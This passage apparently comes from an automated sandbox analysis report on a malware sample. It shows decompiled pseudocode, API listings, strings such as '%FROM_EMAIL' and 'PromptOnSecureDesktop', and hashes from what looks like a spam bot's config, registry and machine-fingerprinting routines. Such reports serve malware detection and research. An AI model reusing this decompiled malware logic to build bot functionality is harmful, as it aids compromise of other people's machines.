				_v8 = _t18;
				_t20 = _a8 + _t36;
				_a8 = _t20;
				if(_t36 >= _t20) {
					L5:
					_t21 = 0;
				} else {
					while(1) {
						_t30 = lstrlenA(_t36);
						_t7 =  &(_t36[1]); // 0x1
						_a4 = _t30 + _t7;
						if(_v8 == _t30 && lstrcmpiA(_t36, _a12) == 0 && _a4 < _a8) {
							break;
						}
						_t36 =  &(_t36[lstrlenA(_a4) + _t30 + 2]);
						if(_t36 < _a8) {
							continue;
						} else {
							goto L5;
						}
						goto L6;
					}
					_t21 = _a4;
				}
				L6:
				return _t21;
			}

0x00402429
0x0040242b
0x0040242e
0x00402434
0x00402436
0x0040243b
0x00402474
0x00402474
0x0040243d
0x0040243d
0x00402440
0x00402442
0x00402446
0x0040244c
0x00000000
0x00000000
0x0040246b
0x00402472
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00402472
0x0040247b
0x0040247b
0x00402476
0x0040247a

APIs

lstrlenA.KERNEL32(?,localcfg,?,00000000,?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001), ref: 00402429
lstrlenA.KERNEL32(?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg,lid_file_upd), ref: 0040243E
lstrcmpiA.KERNEL32(?,?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg), ref: 00402452
lstrlenA.KERNEL32(?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg,lid_file_upd), ref: 00402467

Strings

localcfg, xrefs: 0040241F

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcmpi
String ID: localcfg
API String ID: 1808961391-1857712256
Opcode ID: e0652b8e6b882c26303073c97bc729d70adad1496f82cefeb83b9b40d862f6ea
Instruction ID: 10b525c6ae3f8891cd48fd25e34f392daf9ed257baad57177c8ccf48abf1fcea
Opcode Fuzzy Hash: e0652b8e6b882c26303073c97bc729d70adad1496f82cefeb83b9b40d862f6ea
Instruction Fuzzy Hash: B4011A31600218EFCF11EF69DD888DE7BA9EF44354B01C436E859A7250E3B4EA408A98

Uniqueness

Uniqueness Score: -1.00%

Function 006CBCA4, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 006CBB82
wsprintfA.USER32 ref: 006CBCD5

Part of subcall function 006CADD1: lstrcpyn.KERNEL32(?,?,0000003E), ref: 006CAE09

InterlockedIncrement.KERNEL32(?), ref: 006CBDFE

Strings

0t, xrefs: 006CBB82

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: CountIncrementInterlockedTicklstrcpynwsprintf
String ID: 0t
API String ID: 1085182253-1355922044
Opcode ID: 820597d01a9478628097e3db4953929dbabae1dcb8fbf00f62f3edaa8e401da7
Instruction ID: a36c5bdf337d4a1dde8bd3200d24618664057eb30ca9cf91480d229dc1cfa53c
Opcode Fuzzy Hash: 820597d01a9478628097e3db4953929dbabae1dcb8fbf00f62f3edaa8e401da7
Instruction Fuzzy Hash: 60415671800248DFDF25DF94DC86FF97BA6EB08701F24505AFA2592261E735EA81CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00437794, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004377F3
_memset.LIBCMT ref: 0043787C
__invalid_parameter.LIBCMTD ref: 004378DB

Strings

P, xrefs: 004378F0

Memory Dump Source

Source File: 0000001A.00000002.443226113.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_A881.jbxd

Similarity

API ID: _memset$__invalid_parameter
String ID: P
API String ID: 2178901135-3110715001
Opcode ID: c81341095b46d4914cf3181fb05e5b0897487340572258f3a4cca78f2b8be275
Instruction ID: 734f2674dc7511f2d17d2548cb67ff060f9f77910032d809268011c059fe43b3
Opcode Fuzzy Hash: c81341095b46d4914cf3181fb05e5b0897487340572258f3a4cca78f2b8be275
Instruction Fuzzy Hash: 2141ADB0904309EBDB28DF68C8497AE7771FB48314F10866AE9B42B3D0D3789950CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040E52E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 111
fileCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040E52E(void* __edx, void* __eflags) {
				long _v4;
				void* __ecx;
				void* _t9;
				void* _t11;
				void* _t17;
				long _t20;
				void* _t23;
				int _t24;
				void* _t28;
				void* _t32;
				void* _t37;
				void* _t40;
				void* _t44;

				_t44 = __eflags;
				_t32 = __edx;
				E0040DD05();
				_t28 = E0040DBCF(_t44, 0x80000000, 3);
				_pop(_t31);
				if(_t28 == 0xffffffff) {
					L6:
					_t9 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
					_t11 = E0040E3CA(_t32, 0x80000001, E00402544(0x4122f8, 0x4110bc, 0x14, 0xe4, 0xc8), _t9);
					_t40 = _t37 + 0x34;
					if(_t11 == 0) {
						_t17 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
						E0040E3CA(_t32, 0x80000001, E00402544(0x4122f8, 0x4110a0, 0x19, 0xe4, 0xc8), _t17);
						_t40 = _t40 + 0x34;
					}
					E0040EE2A(_t31, 0x4122f8, 0, 0x100);
					E0040EE2A(_t31, 0x4128f8, 0, 0x100);
					E0040DD69();
					return 1;
				}
				_t20 = GetFileSize(_t28, 0);
				_v4 = _t20;
				if(_t20 != 0) {
					E0040DB2E(_t20);
					_t23 =  *0x4136c4;
					_pop(_t31);
					if(_t23 != 0) {
						_t31 =  &_v4;
						_t24 = ReadFile(_t28, _t23, _v4,  &_v4, 0);
						_t48 = _t24;
						if(_t24 != 0) {
							E00402544( *0x4136c4,  *0x4136c4, _v4, 0xe4, 0xc8);
							E0040E332(_t32, _t48,  *0x4136c4, _v4);
							_t37 = _t37 + 0x1c;
						}
					}
				}
				CloseHandle(_t28);
				goto L6;
			}

0x0040e52e
0x0040e52e
0x0040e533
0x0040e544
0x0040e54c
0x0040e553
0x0040e5b8
0x0040e5c7
0x0040e5ed
0x0040e5f2
0x0040e5f7
0x0040e603
0x0040e624
0x0040e629
0x0040e629
0x0040e635
0x0040e63e
0x0040e646
0x0040e653
0x0040e653
0x0040e558
0x0040e55e
0x0040e564
0x0040e567
0x0040e56c
0x0040e571
0x0040e574
0x0040e578
0x0040e583
0x0040e589
0x0040e58b
0x0040e59a
0x0040e5a9
0x0040e5ae
0x0040e5ae
0x0040e58b
0x0040e574
0x0040e5b2
0x00000000

APIs

Part of subcall function 0040DD05: GetTickCount.KERNEL32 ref: 0040DD0F
Part of subcall function 0040DD05: InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
Part of subcall function 0040DD05: GetCurrentThreadId.KERNEL32 ref: 0040DD53

GetFileSize.KERNEL32(00000000,00000000,?,74E043E0,?,00000000,?,0040A445), ref: 0040E558
ReadFile.KERNEL32(00000000,?,00000000,?,00000000,?,74E043E0,?,00000000,?,0040A445), ref: 0040E583
CloseHandle.KERNEL32(00000000,?,74E043E0,?,00000000,?,0040A445), ref: 0040E5B2

Strings

PromptOnSecureDesktop, xrefs: 0040E5D9, 0040E5DE, 0040E615, 0040E634

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: File$CloseCountCurrentExchangeHandleInterlockedReadSizeThreadTick
String ID: PromptOnSecureDesktop
API String ID: 3683885500-2980165447
Opcode ID: ea61079883e1d137724bdb03d89989e3cb326a6ab799ec698869bd57d3053e24
Instruction ID: 336cca8f28a0ae06816d6806ca3c094c6326420f96deeb8fe64773c8e7208e17
Opcode Fuzzy Hash: ea61079883e1d137724bdb03d89989e3cb326a6ab799ec698869bd57d3053e24
Instruction Fuzzy Hash: F321EAB19402047AE2207B639C0AFAB3D1CDF54758F10093EBA09B11E3E9BDD96082BD

Uniqueness

Uniqueness Score: -1.00%

Function 006CE77E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

Part of subcall function 006CDF55: GetCurrentThreadId.KERNEL32 ref: 006CDFA3

GetFileSize.KERNEL32(00000000,00000000,?,00410170,?,00000000,?,006CA695), ref: 006CE7A8
ReadFile.KERNEL32(00000000,004136C4,00000000,?,00000000,?,00410170,?,00000000,?,006CA695), ref: 006CE7D3
CloseHandle.KERNEL32(00000000,?,00410170,?,00000000,?,006CA695), ref: 006CE802

Strings

PromptOnSecureDesktop, xrefs: 006CE829, 006CE82E, 006CE865, 006CE884

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: File$CloseCurrentHandleReadSizeThread
String ID: PromptOnSecureDesktop
API String ID: 1396056608-2980165447
Opcode ID: 7902eb09b18f90ff15814c2c52a49d831fada2081c22b3094fea9a8900fad251
Instruction ID: c1c3437ccd50e993e28e427156246348b8245a8ff7b4e3dd279fca5789394126
Opcode Fuzzy Hash: 7902eb09b18f90ff15814c2c52a49d831fada2081c22b3094fea9a8900fad251
Instruction Fuzzy Hash: 252129B2A013017AE2657B715C4BFFB3E1EDB54750F10003DBA0AA51D3EAA6D86082B9

Uniqueness

Uniqueness Score: -1.00%

Function 0043C346, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043C3C0
__aullrem.LIBCMT ref: 0043C590
__aulldiv.LIBCMT ref: 0043C5B2

Strings

9, xrefs: 0043C5C3

Memory Dump Source

Source File: 0000001A.00000002.443226113.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_A881.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 222ee5dd95a291f1b037ac56949667a20efda2f245ffb5cf1fadd6b0f5447211
Instruction ID: 70a343cfd16af86b056e238aa119bd79d5a167bffe1ecdfd5bdf7369e7b3781d
Opcode Fuzzy Hash: 222ee5dd95a291f1b037ac56949667a20efda2f245ffb5cf1fadd6b0f5447211
Instruction Fuzzy Hash: DE4128B1E002299FDB24CF48C881BAEB7B5FF89314F10519AD149BB241D778AE81CF49

Uniqueness

Uniqueness Score: -1.00%

Function 004350EC, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00435118
__aullrem.LIBCMT ref: 004352E5
__aulldiv.LIBCMT ref: 00435307

Strings

9, xrefs: 00435318

Memory Dump Source

Source File: 0000001A.00000002.443226113.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_A881.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 561cae2ce915adacbac345bc4ad06e18f354e42eb11492e6f48ca8b880a668e1
Instruction ID: 6658df82f4c9e988324e077ee101f6c7d469d7d2a8f80f58fd5598707f7d6e03
Opcode Fuzzy Hash: 561cae2ce915adacbac345bc4ad06e18f354e42eb11492e6f48ca8b880a668e1
Instruction Fuzzy Hash: FC41D471D05629DFEF64CF88D889BAEB7B5BB48300F2495DAD409A7240D7389E80CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0043C394, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043C3C0
__aullrem.LIBCMT ref: 0043C590
__aulldiv.LIBCMT ref: 0043C5B2

Strings

9, xrefs: 0043C5C3

Memory Dump Source

Source File: 0000001A.00000002.443226113.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_A881.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 828065c44f52bbca850a73a1038411070d97aa975b0d7d71c076135a5f064beb
Instruction ID: 7d42edf249057c3bbf99d24d6263e1e0cded090a932b9ea702fa9209e262403b
Opcode Fuzzy Hash: 828065c44f52bbca850a73a1038411070d97aa975b0d7d71c076135a5f064beb
Instruction Fuzzy Hash: C74117B1A40229AFDB24CF48C881BAEB7B5FF89314F105199D149BB241C738AE81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00427D1D, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00427D49
__aullrem.LIBCMT ref: 00427F16
__aulldiv.LIBCMT ref: 00427F38

Strings

9, xrefs: 00427F49

Memory Dump Source

Source File: 0000001A.00000002.443226113.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_A881.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 50f9599ea3c35641d8adc9b49fa0aad7e181bc1c7d40e11cc0d3baf5df0e669b
Instruction ID: 58147ff1c4119bb9ceb2e56011b5e829f23d866a6b04062fc1a106c585f49fbb
Opcode Fuzzy Hash: 50f9599ea3c35641d8adc9b49fa0aad7e181bc1c7d40e11cc0d3baf5df0e669b
Instruction Fuzzy Hash: 494105B1E082298FDB64DF48D989BAEB7B5BF84300F5085DAE009A7240C7389E80CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0043509B, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00435118
_get_int64_arg.LIBCMTD ref: 00435140
__aullrem.LIBCMT ref: 004352E5
__aulldiv.LIBCMT ref: 00435307

Strings

9, xrefs: 00435318

Memory Dump Source

Source File: 0000001A.00000002.443226113.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_A881.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 6bfd3a7f129a6f0db8a8f74f46333a7fd9ff028fcfdecd1d5897dee5f8a9e2ca
Instruction ID: 97eb265b524fdbb5382731453a33d199b8e11d31a265bbb18e42e5fd9b4d874e
Opcode Fuzzy Hash: 6bfd3a7f129a6f0db8a8f74f46333a7fd9ff028fcfdecd1d5897dee5f8a9e2ca
Instruction Fuzzy Hash: CF41D5B1D05629DFDF64CF58D889BAEB7B5BB48304F2095DAD409A7240D7389E80CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0043C33D, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043C3C0
_get_int64_arg.LIBCMTD ref: 0043C3E8
__aullrem.LIBCMT ref: 0043C590
__aulldiv.LIBCMT ref: 0043C5B2

Strings

9, xrefs: 0043C5C3

Memory Dump Source

Source File: 0000001A.00000002.443226113.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_A881.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: d3aabd9a36598f600b44d79d1f7dfcc24342421506deca2866edf9d9dd71d9f0
Instruction ID: 27b38260bfdfdce256b32e3280c41c48f38ca58a39c024a38b2154eac85a504a
Opcode Fuzzy Hash: d3aabd9a36598f600b44d79d1f7dfcc24342421506deca2866edf9d9dd71d9f0
Instruction Fuzzy Hash: B54129B1A40129AFDB24CF48C981BAEB7B5BF89314F10519AD149B7241C778AE81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00427CCC, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00427D49
_get_int64_arg.LIBCMTD ref: 00427D71
__aullrem.LIBCMT ref: 00427F16
__aulldiv.LIBCMT ref: 00427F38

Strings

9, xrefs: 00427F49

Memory Dump Source

Source File: 0000001A.00000002.443226113.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_A881.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 8698735123b3feddb97b2ec76e51df2176c4137660bae1df7df2e96bf9f8b5a0
Instruction ID: e5f134a6bcdd013d385ede7ad35b9b35ba42616b7a1323936625610e117c36f7
Opcode Fuzzy Hash: 8698735123b3feddb97b2ec76e51df2176c4137660bae1df7df2e96bf9f8b5a0
Instruction Fuzzy Hash: 7B41E3B1E08229DFDB64DF48D989BAEB7B5BF84300F5045DAE009A7241D7389E81CF55

Uniqueness

Uniqueness Score: -1.00%

Function 006CBC63, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 88COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 006CB9C2
InterlockedIncrement.KERNEL32(00413648), ref: 006CBA23
InterlockedIncrement.KERNEL32(?), ref: 006CBA7D
GetTickCount.KERNEL32 ref: 006CBB62
GetTickCount.KERNEL32 ref: 006CBB82
InterlockedIncrement.KERNEL32(?), ref: 006CBDFE
closesocket.WS2_32(00000000), ref: 006CBE9D

Strings

0t, xrefs: 006CBB82
%FROM_EMAIL, xrefs: 006CBC66

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: CountIncrementInterlockedTick$closesocket
String ID: %FROM_EMAIL$0t
API String ID: 1869671989-1316789084
Opcode ID: 0090938f495b36ecde0c2704714dbc7a7bc2631707f40fe0f7850b313d5ec50d
Instruction ID: 95b260c8c5e44bc0a79172263ca73da0ddf56ffe5cddda352bf8db4f55b0cfd3
Opcode Fuzzy Hash: 0090938f495b36ecde0c2704714dbc7a7bc2631707f40fe0f7850b313d5ec50d
Instruction Fuzzy Hash: FB315A714002489FDB25DFA4DC46FF977AAEB48B00F20405EFA2592251DB35AA84CF15

Uniqueness

Uniqueness Score: -1.00%

Function 00401AC3, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E00401AC3() {
				signed int _v8;
				char _v12;
				signed int _v16;
				struct HINSTANCE__* _t19;
				intOrPtr _t24;
				intOrPtr _t26;
				intOrPtr* _t28;
				signed int _t39;
				void* _t41;
				intOrPtr _t43;

				_v16 = 0;
				_t19 = LoadLibraryA("Iphlpapi.dll");
				if(_t19 == 0) {
					L15:
					return _v16;
				}
				_t28 = GetProcAddress(_t19, "GetAdaptersAddresses");
				if(_t28 == 0) {
					L14:
					goto L15;
				}
				_push( &_v12);
				_v8 = 0;
				_v12 = 0;
				_push(0);
				while(1) {
					_t41 =  *_t28(2, 0, 0);
					if(_t41 != 0x6f) {
						break;
					}
					_t24 = E0040EBED(_v8, _v12);
					if(_t24 == 0) {
						break;
					}
					_push( &_v12);
					_v8 = _t24;
					_push(_t24);
				}
				if(_t41 != 0) {
					L11:
					if(_v8 != 0) {
						E0040EC2E(_v8);
					}
					L13:
					goto L14;
				}
				_t26 = _v8;
				if(_t26 == 0) {
					goto L13;
				} else {
					goto L8;
				}
				do {
					L8:
					_t43 =  *((intOrPtr*)(_t26 + 0x34));
					_t39 = 0;
					if(_t43 <= 0) {
						goto L10;
					} else {
						goto L9;
					}
					do {
						L9:
						_v16 = _v16 ^ ( *(_t26 + _t39 + 0x2c) & 0x000000ff) << (_t39 & 0x00000003) << 0x00000003;
						_t39 = _t39 + 1;
					} while (_t39 < _t43);
					L10:
					_t26 =  *((intOrPtr*)(_t26 + 8));
				} while (_t26 != 0);
				goto L11;
			}

0x00401ad1
0x00401ad4
0x00401adc
0x00401b6b
0x00401b70
0x00401b70
0x00401aef
0x00401af3
0x00401b6a
0x00000000
0x00401b6a
0x00401af9
0x00401afa
0x00401afd
0x00401b00
0x00401b1c
0x00401b22
0x00401b27
0x00000000
0x00000000
0x00401b09
0x00401b12
0x00000000
0x00000000
0x00401b17
0x00401b18
0x00401b1b
0x00401b1b
0x00401b2b
0x00401b5b
0x00401b5e
0x00401b63
0x00401b68
0x00401b69
0x00000000
0x00401b69
0x00401b2d
0x00401b32
0x00000000
0x00000000
0x00000000
0x00000000
0x00401b34
0x00401b34
0x00401b34
0x00401b37
0x00401b3b
0x00000000
0x00000000
0x00000000
0x00000000
0x00401b3d
0x00401b3d
0x00401b4c
0x00401b4f
0x00401b50
0x00401b54
0x00401b54
0x00401b57
0x00000000

APIs

LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 00401AD4
GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 00401AE9

Strings

Iphlpapi.dll, xrefs: 00401ACC
GetAdaptersAddresses, xrefs: 00401AE3

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: GetAdaptersAddresses$Iphlpapi.dll
API String ID: 2574300362-1087626847
Opcode ID: 4ad453f95e319ae71f8ebabcc46d8d27ffdc7fe226df516f9f2c7e6519cf6946
Instruction ID: f6c238f91e07a5798e813b0b618c72a9a5addbcd8e0b61e0281ff71d4ef1483f
Opcode Fuzzy Hash: 4ad453f95e319ae71f8ebabcc46d8d27ffdc7fe226df516f9f2c7e6519cf6946
Instruction Fuzzy Hash: 3D11DA71E01124BFCB11DBA5DD858EEBBB9EB44B10B144077E005F72A1E7786E80CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00408CEE, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00408CEE() {
				intOrPtr* _v8;
				intOrPtr _v12;
				long _t15;
				char _t17;
				intOrPtr _t19;
				intOrPtr* _t20;
				void* _t25;
				signed int _t31;
				signed char _t35;
				signed int _t36;
				char* _t41;
				intOrPtr* _t42;
				signed int _t45;

				_push(_t34);
				_t31 = 0;
				if( *0x413380 == 0) {
					L17:
					return _t15;
				}
				_t15 = GetTickCount() -  *0x413388;
				if(_t15 < 0xea60) {
					goto L17;
				}
				_t41 =  *0x413380;
				_t17 =  *_t41;
				_t45 =  *(_t41 + 1);
				_t42 = _t41 + 5;
				_v12 = _t17;
				if(_t17 <= 0) {
					L16:
					_t15 = GetTickCount();
					 *0x413388 = _t15;
					goto L17;
				} else {
					_v8 = _t42;
					do {
						_t35 =  *_v8;
						if(_t35 != 8) {
							if(_t35 != 9) {
								_t36 = _t35;
								_t19 =  *((intOrPtr*)(0x413300 + _t36 * 4));
								if(_t19 == 0) {
									goto L12;
								}
								_t9 = _t19 + 0x34; // 0x3b10c483
								if(_t36 ==  *_t9) {
									_t13 = _t19 + 0x50; // 0x7486850
									_t20 =  *_t13;
									if(_t20 != 0) {
										 *_t20(_t45 >>  *(_t31 * 5 + _t42) & 0x00000001);
									}
									goto L16;
								}
								goto L12;
							}
							_t25 = E0040A688(_t45 >> _t35 & 0x00000001);
							L8:
							if(_t25 != 0) {
								_t6 = _v8 + 1; // 0x3cc6
								_t45 = _t45 |  *_t6;
							}
							goto L12;
						}
						_t25 = E0040A677(_t45 >> _t35 & 0x00000001);
						goto L8;
						L12:
						_v8 = _v8 + 5;
						_t31 = _t31 + 1;
					} while (_t31 < _v12);
					goto L16;
				}
			}

0x00408cf2
0x00408cf4
0x00408cfc
0x00408dae
0x00408db0
0x00408db0
0x00408d08
0x00408d13
0x00000000
0x00000000
0x00408d1b
0x00408d21
0x00408d24
0x00408d27
0x00408d2a
0x00408d2f
0x00408da1
0x00408da1
0x00408da8
0x00000000
0x00408d31
0x00408d31
0x00408d34
0x00408d37
0x00408d3c
0x00408d50
0x00408d6c
0x00408d6f
0x00408d78
0x00000000
0x00000000
0x00408d7a
0x00408d7d
0x00408d8b
0x00408d8b
0x00408d90
0x00408d9e
0x00408da0
0x00000000
0x00408d90
0x00000000
0x00408d7d
0x00408d5a
0x00408d5f
0x00408d62
0x00408d67
0x00408d67
0x00408d67
0x00000000
0x00408d62
0x00408d46
0x00000000
0x00408d7f
0x00408d7f
0x00408d83
0x00408d84
0x00000000
0x00408d89

APIs

GetTickCount.KERNEL32 ref: 00408D02
GetTickCount.KERNEL32 ref: 00408DA1

Strings

localcfg, xrefs: 00408D19
0t, xrefs: 00408D02, 00408DA1

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: CountTick
String ID: 0t$localcfg
API String ID: 536389180-1645711936
Opcode ID: f778bec48d6853c61bba66ff70abee8b380bd23c812c2bd80f901189d0bf267b
Instruction ID: 1ef816322ecc1e041cdf399b9b138f6358d408137adc4a714cdb07e14db9ba06
Opcode Fuzzy Hash: f778bec48d6853c61bba66ff70abee8b380bd23c812c2bd80f901189d0bf267b
Instruction Fuzzy Hash: 0821C631610115AFCB109F64DE8169ABBB9EF20311B25427FD881F72D1DF38E940875C

Uniqueness

Uniqueness Score: -1.00%

Function 006C764E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,00020119,?), ref: 006C76C2
RegEnumKeyA.ADVAPI32(?,00000000,?,00000104), ref: 006C7956
RegCloseKey.ADVAPI32(?), ref: 006C7967

Strings

PromptOnSecureDesktop, xrefs: 006C76AE, 006C76B3, 006C76CE

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: CloseEnumOpen
String ID: PromptOnSecureDesktop
API String ID: 1332880857-2980165447
Opcode ID: 6add54f53aa26b9129486f5997ff6e8fcd40a3645fc937a9d882d7137db5ef12
Instruction ID: 8edb4848254a22565640a4f52a74787c505f12c03420a9edbddcfa25ec01e2ec
Opcode Fuzzy Hash: 6add54f53aa26b9129486f5997ff6e8fcd40a3645fc937a9d882d7137db5ef12
Instruction Fuzzy Hash: 5C11BE70A04109AFDB119FAADC46FFFBF7AEB82700F148569F510EA291D6B18D508F64

Uniqueness

Uniqueness Score: -1.00%

Function 0040BFCE, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 62COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040BFD0
wsprintfA.USER32 ref: 0040C060

Strings

0t, xrefs: 0040BFD0
Type = %d: works = %d cur_thr = %d num_thr = %d integr = %d integr_nl = %d fCntrl = %d time_ok_filt = %d cntr = %d time_nl_filt = %d last_time_work = %d last_time_getem = %d last_time_calc = %d last_time_nl, xrefs: 0040C057

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: CountTickwsprintf
String ID: Type = %d: works = %d cur_thr = %d num_thr = %d integr = %d integr_nl = %d fCntrl = %d time_ok_filt = %d cntr = %d time_nl_filt = %d last_time_work = %d last_time_getem = %d last_time_calc = %d last_time_nl$0t
API String ID: 2424974917-3722268674
Opcode ID: 06c76dfdee32e392c5b9e14bf2ce1b6ffedea00b213a31f1363bbf4a57a4f60a
Instruction ID: 59a0723085258e1b6130595cff45262f63c8180c8ffe05f2a9b9c441a6a96c57
Opcode Fuzzy Hash: 06c76dfdee32e392c5b9e14bf2ce1b6ffedea00b213a31f1363bbf4a57a4f60a
Instruction Fuzzy Hash: 53115672200100FFDB529BA9DD44E567FA6FB88319B3491ACF6188A166D633D863EB50

Uniqueness

Uniqueness Score: -1.00%

Function 00401BDF, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 76%

